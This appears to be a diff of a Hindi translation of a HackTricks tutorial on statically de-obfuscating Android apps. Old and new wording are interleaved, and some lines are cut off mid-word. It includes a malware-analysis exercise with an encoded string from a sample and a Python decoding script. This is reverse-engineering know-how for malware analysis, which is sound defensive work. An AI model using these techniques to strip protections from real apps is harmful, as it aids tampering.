उलट-पुलट करना चाहते हैं, तो आप कर सकते हैं। महत्वपूर्ण निर्णय यह नहीं है कि क्या आप कर सकते हैं, बल्कि यह है कि क्या उलट-पुलट करने के लिए संसाधनों का उपयोग करना योग्य है या नहीं। +ऑब्फस्केशन के बारे में याद रखने वाली मुख्य बात यह है कि यदि आप इसे डी-ऑब्फस्केट करना चाहते हैं, तो आप कर सकेंगे। मुख्य निर्णय यह नहीं है कि आप कर सकते हैं या नहीं, बल्कि यह है कि क्या इसे डी-ऑब्फस्केट करने के लिए संसाधन लगाना इसके लायक है या नहीं। -आप हमेशा कुछ भी उलट-पुलट कर सकते हैं क्योंकि अंततः सीपीयू को किसी न किसी समय अनउलट-पुलट कोड देखना होगा ताकि इसे चलाने के लिए। +आप हमेशा कुछ भी डी-ऑब्फस्केट कर सकते हैं क्योंकि अंततः CPU को किसी बिंदु पर अनऑब्फस्केटेड कोड देखना होता है ताकि वह इसे चला सके। -## उलट-पुलट करने का तरीका +## डी-ऑब्फस्केशन कैसे करें -ऐप्लिकेशन को उलट-पुलट करने के लिए आप कैसे चुनते हैं, यह उलट-पुलट करने की विधि पर निर्भर करेगा, लेकिन यहां कुछ सामान्य तकनीकें हैं जो आमतौर पर अच्छी तरह से काम करती हैं। यहां, हम केवल स्थिर उलट-पुलट करने की तकनीकों पर ही चर्चा करेंगे क्योंकि यह कार्यशाला केवल स्थिर विश्लेषण/रिवर्सिंग को कवर करती है। हालांकि, ध्यान दें कि ऐप्लिकेशन को चलाने और गतिशील विश्लेषण करने का एक और बढ़िया तरीका हो सकता है उलट-पुलट करने के लिए। +आप जिस एप्लिकेशन को डी-ऑब्फस्केट करना चाहते हैं, वह ऑब्फस्केशन विधि पर निर्भर करेगा, लेकिन कुछ सामान्य तकनीकें हैं जो आमतौर पर अच्छी तरह से काम करती हैं। यहां, हम केवल स्टैटिक डी-ऑब्फस्केशन तकनीकों पर चर्चा करेंगे क्योंकि यह कार्यशाला केवल स्टैटिक विश्लेषण/रिवर्सिंग को कवर करती है। हालांकि, याद रखें कि एप्लिकेशन को चलाना और इसे गतिशील रूप से विश्लेषण करना ऑब्फस्केशन के आसपास पाने का एक और शानदार तरीका हो सकता है। -डेक्स बाइटकोड (जावा) में उलट-पुलट करने के लिए, स्थिर उलट-पुलट करने का सबसे आसान तरीका ऐप्लिकेशन में उलट-पुलट करने के तरीकों की पहचान करना है और उनके डीकंपाइलेशन को एक जावा फ़ाइल में कॉपी करना है, जिसे आप फिर उलट-पुलट फ़ाइल, स्ट्रिंग, कोड आदि पर चलाते हैं। +DEX बाइटकोड (Java) में ऑब्फस्केशन के लिए, स्टैटिक रूप से डीऑब्फस्केट करने का एक सबसे आसान तरीका एप्लिकेशन में डी-ऑब्फस्केशन विधियों की पहचान करना है और उनके डिकम्पाइलेशन को एक Java फ़ाइल में कॉपी करना है जिसे आप फिर ऑब्फस्केटेड फ़ाइल, स्ट्रिंग्स, कोड, आदि पर चलाते हैं। -जावा और नेटिव कोड के लिए एक और समाधान है, उलट-पुलट करने की एल्गोरिदम को पायथन या किसी अन्य स्क्रिप्टिंग भाषा में अनुवाद करना, जिसमें आप सबसे अधिक सुविधाजनक हैं। मैं "अनुवाद करना" कहता हूँ क्योंकि यह ध्यान देने योग्य है कि आपको हमेशा उलट-पुलट करने की एल्गोरिदम को \*समझने\* की आवश्यकता नहीं होती है, आपको इसे चलाने का एक तरी -## अभ्यास 7 - स्ट्रिंग डीओबफस्केशन +Java और Native Code दोनों के लिए एक और समाधान यह है कि डी-ऑब्फस्केशन एल्गोरिदम को Python या किसी अन्य स्क्रिप्टिंग भाषा में अनुवादित करें जिसमें आप सबसे अधिक सहज हैं। मैं "अनुवादित" कहता हूं क्योंकि यह महत्वपूर्ण है कि आपको हमेशा डी-ऑब्फस्केशन एल्गोरिदम को \*समझने\* की आवश्यकता नहीं होती, आपको केवल इसे निष्पादित करने का एक तरीका चाहिए। मैं इसे "Unpacking the Packed Unpacker" टॉक में अधिक विस्तार से कवर करता हूं जो "More Examples" सेक्शन में लिंक किया गया है। -इस अभ्यास में, हम एक ऐप्लिकेशन का विश्लेषण करने के लिए स्ट्रिंग डीओबफस्केशन का अभ्यास करेंगे। अभ्यास के लिए हम VM में `~/samples/ClashOfLights.apk` पर उपलब्ध नमूना का उपयोग करेंगे। इस नमूने का SHA256 डाइजेस्ट c403d2dcee37f80b6d51ebada18c409a9eae45416fe84cd0c1ea1d9897eae4e5 है। +## ऑब्फस्केशन के संकेत -### लक्ष्य +ऑब्फस्केशन के कई अलग-अलग प्रकार हैं और इसी तरह, विश्लेषक को यह सूचित करने के लिए कई अलग-अलग प्रकार के संकेत हैं कि एक एप्लिकेशन संभवतः ऑब्फस्केटेड है, लेकिन यहां कुछ उदाहरण हैं जिनमें डीऑब्फस्केटिंग के लिए प्रस्तावित स्टैटिक विश्लेषण समाधान हैं। -संकेतों को पहचानने और उन्हें डीओबफस्केट करने के लिए एक समाधान विकसित करना। - -### अभ्यास संदर्भ - -आप एक मैलवेयर विश्लेषक हैं जो इस ऐप्लिकेशन की समीक्षा कर रहे हैं ताकि आप यह निर्धारित कर सकें कि क्या यह मैलवेयर है या नहीं। आप एक ऑबफस्केटेड जावास्क्रिप्ट स्ट्रिंग के साथ सामने आते हैं जो लोड हो रही है और इसे डीओबफस्केट करने के लिए आपको यह निर्धारित करना होगा कि क्या ऐप्लिकेशन खतरनाक है या नहीं। आप ऐप्लिकेशन को डायनामिक रूप से नहीं चला सकते हैं और स्टेटिक रूप से जावास्क्रिप्ट क्या है यह निर्धारित करने की आवश्यकता होती है। - -### निर्देश - -1. डीओबफस्केट करने के लिए आपको स्ट्रिंग ढूंढ़ना होगा -2. उसे डीओबफस्केट करने वाली रूटीन की पहचान करें। -3. स्ट्रिंग को डीओबफस्केट करने के लिए आप कैसे समाधान लिखना चाहेंगे उसे निर्धारित करें। -4. यह करें :) - -### समाधान - -डीओबफस्केट किया गया स्ट्रिंग है: +* कोई स्ट्रिंग्स नहीं: Java और Android स्ट्रिंग्स पर अत्यधिक निर्भर हैं इसलिए यदि आप कोई भी या केवल गड़बड़ स्ट्रिंग्स नहीं देखते हैं, तो यह अत्यधिक संभावना है कि स्ट्रिंग्स ऑब्फस्केटेड हैं। +* सुझावित समाधान: ऐसे मेथड कॉल्स की तलाश करें जो स्ट्रिंग्स को एक आर्गुमेंट के रूप में लेते हैं और ट्रेस करें कि वह आर्गुमेंट कहां से आ रहा है। किसी बिंदु पर स्ट्रिंग आर्गुमेंट एक डी-ऑब्फस्केशन मेथड के माध्यम से जा रहा होगा इससे पहले कि यह API को पास किया जाता है जो स्ट्रिंग आर्गुमेंट लेता है। +* गड़बड़ स्ट्रिंग्स: Java और Android APIs को प्लेन टेक्स्ट स्ट्रिंग्स की आवश्यकता होती है, गड़बड़ नहीं। +* सुझावित समाधान: गड़बड़ स्ट्रिंग्स सभी संभावना में एक ही मेथड्स को पास किए जाते हैं इससे पहले कि वे APIs को पास किए जाते हैं। ये मेथड्स संभावना में डी-ऑब्फस्केशन मेथड्स हैं। +* assets/ डायरेक्टरी में बाइनरी फाइलें और ऐप में DexClassLoader कॉल्स: अतिरिक्त कोड अनपैकिंग और लोडिंग की संभावना है। (यह भी संभावना है कि एक दूरस्थ स्थान से डाउनलोड करना और फिर DexClassLoader का उपयोग करके लोड करना) +* सुझाव समाधान: पहचानें कि फाइल को कहां पढ़ा जाता है और फिर पथ का अनुसरण करें। यह संभावना है कि इसे पढ़ने के तुरंत बाद डी-ऑब्फस्केट किया जाता है। +* नेटिव लाइब्रेरीज - JNI फंक्शंस की पहचान नहीं कर सकते (कोई फंक्स नाम Java\_ नहीं है और RegisterNatives को कोई कॉल्स नहीं): किसी भी नेटिव मेथड्स को निष्पादित करने के लिए, JNI को नेटिव लाइब्रेरी में फंक्शन को जावा में नेटिव मेथड घोषणा के साथ जोड़ने में सक्षम होना चाहिए और इस प्रकार दोनों में से एक को किसी बिंदु पर मौजूद होना चाहिए। +* सुझावित समाध ``` ``` -मैंने इसे डी-ऑबफस्केट करने के लिए लिखा हुआ Python स्क्रिप्ट है: +पायथन स्क्रिप्ट जो मैंने इसे डी-ऑब्फ्यूस्केट करने के लिए लिखी है: ``` enc_str = "773032205849207A3831326F1351202E3B306B7D1E5A3B33252B382454173735266C3D3B53163735222D393B475C7A37222D7F38421B6A66643032205849206477303220584920643D2223725C503A3F39636C725F5C237A082C383C7950223F65023F3D5F4039353E3079755F5F666E1134141F5C4C64377A1B671F565A1B2C7F7B101F42700D1F39331717161574213F2B2337505D27606B712C7B0A543D342E317F214558262E636A6A6E1E4A37282233256C" @@ -81,26 +70,24 @@ print ''.join(dec_str) ``` ## और उदाहरण -मैंने कुछ टॉक्स किए हैं जिनमें एंड्रॉइड ऐप्स को डी-ऑबफस्केट करने के विभिन्न ऑबफस्केशन मेकेनिज़म को शामिल किया गया है। इन टॉक्स में, मैं उन्नत ऑबफस्केशन तकनीकों, उन्हें डी-ऑबफस्केट करने के लिए मेरी समाधान, और जब मैंने डी-ऑबफस्केट करने का निर्णय लेने के लिए विचार किए थे तब मैंने कैसे चुनाव किए थे, इन सबके बारे में चर्चा करता हूँ। +मैंने Android ऐप्स के डी-ऑब्फ़्यूस्केटिंग पर कुछ वार्ताएँ की हैं जिनमें विविध ऑब्फ़्यूस्केशन तंत्र शामिल हैं। इन वार्ताओं में, मैं उन्नत ऑब्फ़्यूस्केशन तकनीकों, उन्हें डी-ऑब्फ़्यूस्केट करने के मेरे समाधान, और उन विचारों और चयनों पर चर्चा करता हूँ जो मैंने डी-ऑब्फ़्यूस्केट करने के लिए तय किए। -* BlackHat USA 2018: "Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library" \[[वीडियो](https://www.youtube.com/watch?v=s0Tqi7fuOSU)] -* इस टॉक में, मैं एक ऐसी एंड्रॉइड एप्लिकेशन द्वारा उपयोग की जाने वाली सबसे जटिल एंटी-विश्लेषण प्राकृतिक पुस्तकालय का पुनर्जनन करने के बारे में चर्चा करता हूँ। इसमें मुख्य रूप से प्राकृतिक कोड में ऑबफस्केशन तकनीकों का वर्णन किया गया है। -* REcon 2019: "The Path to the Payload: Android Edition" \[[वीडियो](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)] -* इस टॉक में, एक एंड्रॉइड बॉटनेट द्वारा उपयोग की जाने वाली एक श्रृंखला के ऑबफस्केशन तकनीकों का वर्णन किया गया है, जो केवल जावा कोड में होती है, जिसका उपयोग इसके व्यवहार को छिपाने के लिए किया जाता है। +* BlackHat USA 2018: “Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library” \[[वीडियो](https://www.youtube.com/watch?v=s0Tqi7fuOSU)] +* यह वार्ता एक Android एप्लिकेशन द्वारा प्रयुक्त सबसे जटिल एंटी-एनालिसिस नेटिव लाइब्रेरीज में से एक की रिवर्स इंजीनियरिंग पर जाती है। यह मुख्य रूप से नेटिव कोड में ऑब्फ़्यूस्केशन तकनीकों को कवर करता है। +* REcon 2019: “The Path to the Payload: Android Edition” \[[वीडियो](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)] +* यह वार्ता एक Android बॉटनेट द्वारा अपने व्यवहार को छिपाने के लिए प्रयुक्त जावा कोड में केवल ऑब्फ़्यूस्केशन तकनीकों की एक श्रृंखला पर चर्चा करती है।
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! -- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करने का उपयोग करना चाहते हैं? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! +HackTricks का समर्थन करने के अन्य तरीके: -- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह - -- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।** +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** का अनुसरण करें।** +* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।